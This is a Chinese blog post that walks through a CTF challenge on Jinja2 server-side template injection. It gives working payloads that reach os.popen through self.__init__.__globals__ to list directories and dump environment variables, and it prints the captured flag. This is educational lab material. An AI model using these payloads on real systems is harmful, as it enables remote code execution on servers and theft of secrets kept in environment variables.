本文最后更新于29 天前,其中的信息可能已经过时,如有错误请发送邮件到2206143407@qq.com
SSTI
一:前言
SSTI注入又可称为模板注入(关于模板可以看看这个SSTI 注入 – Hello CTF)
当应用程序将用户输入直接拼接进模板中,并作为代码执行时,攻击者可能通过注入恶意模板指令来读取敏感数据、执行系统命令或控制服务器。
例如:在模板引擎(如Jinja2、Twig)中,若未对用户输入充分过滤,攻击者可能通过输入 {{ 7 * 7 }}测试执行,进而利用内置函数或类实现远程代码执行。
二:例题
PCTF2025:复读机
首先我们要确认这是哪种漏洞
尝试输入模板语法 {{7*7}}。页面返回了 49,说明存在ssti
1.通过执行以下 Payload 确认后端环境为 Python 3.13.7 (Jinja2 模板引擎):
{{ self.__init__.__globals__.__builtins__['__import__']('os').popen('ls /').read() }}
该命令列出了根目录下的系统文件,确认我们可以执行任意系统命令 (RCE)。
2.进一步查看当前 Web 应用目录结构:
{{ self.__init__.__globals__.__builtins__['__import__']('os').popen('ls -R .').read() }}
输出显示仅有 app.py 和 templates/index.html,未在当前目录下发现名为 flag 的文件。
3.在容器化的 CTF 题目中,Flag 经常被存放在环境变量中。使用 env 命令查看系统环境变量:
{{ self.__init__.__globals__.__builtins__['__import__']('os').popen('env').read() }}

flag:PCTF{c6e807e1-14d9-4de5-adfa-5cdc7288fe93}